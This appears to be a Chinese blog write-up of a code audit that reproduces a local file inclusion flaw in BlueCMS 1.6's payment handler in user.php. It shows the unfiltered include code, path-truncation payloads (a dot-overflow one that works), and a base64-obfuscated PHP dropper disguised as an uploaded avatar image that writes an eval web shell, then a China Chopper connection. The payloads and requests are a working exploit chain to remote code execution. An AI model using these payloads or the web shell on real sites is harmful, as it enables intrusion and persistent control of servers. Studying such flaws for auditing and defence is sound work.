代碼審計:bluecms 文件包含漏洞復現

代碼審計:bluecms 文件包含漏洞復現

bluecms

BlueCMS是一款專注於地方門戶網站建設解決方案,基於PHP+MySQL的技術開發,全部源碼開放。
復現版本爲bluecmsv1.6版本,各位可自行下載。

代碼審計

先使用Seay工具審計一波,根據關鍵代碼回溯。
在這裏插入圖片描述
工具顯示user.php文件包含函數存在可控變量,可能存在文件包含漏洞,我們打開代碼所在php文件進一步查看。
關鍵代碼:

elseif ($act == 'pay'){
 	include 'data/pay.cache.php';
 	$price = $_POST['price'];
 	$id = $_POST['id'];
 	$name = $_POST['name'];
 	if (empty($_POST['pay'])) {
 		showmsg('對不起,您沒有選擇支付方式');
 	}
 	include 'include/payment/'.$_POST['pay']."/index.php";
 }

可以看到,如果act參數爲pay值,這包含相應文件,其中pay參數沒有過濾。
按道理只要截斷一下,應該可以利用此漏洞。
我們先試圖驗證一下,在根目錄放上一個1.php,以供驗證。

http://192.168.43.150/bluecms1.6/1.php

在這裏插入圖片描述
去到漏洞鏈接所在處,會員中心->充值中心->金幣充值->在線支付
在這裏插入圖片描述
打開burp抓包,發到repeater模塊,構造exp。

%00截斷,失敗
price=1&id=2&name=2&pay=../../1.php%00
?號截斷,失敗
price=1&id=2&name=2&pay=../../1.php?
.溢出截斷,成功
price=1&id=2&name=2&pay=../../1.php........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

在這裏插入圖片描述
在這裏插入圖片描述

漏洞利用

我們的目標是拿shell。
編寫一段惡意代碼,保存爲圖片,包含後可生成我們的shell文件。

測試失敗
<?php @fputs(fopen('wk.php',w),"<?php @eval($_POST['wk']);?>");?>
需要編碼進行繞過
<?php @fputs(fopen(base64_decode('d2sucGhw'),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWyd3ayddKTs/Pg=='));?>

去到修改頭像處,上傳我們構造好的圖片,得到圖片路徑

http://192.168.43.150/bluecms1.6/data/upload/face_pic/15843400010.jpg

回到repeater模塊,修改exp,go。

price=1&id=2&name=2&pay=../../data/upload/face_pic/15843400010.jpg........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

在這裏插入圖片描述
去到根目錄處,可以看到我們的shell文件被創建了。
在這裏插入圖片描述
接下來菜刀連接就完事了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章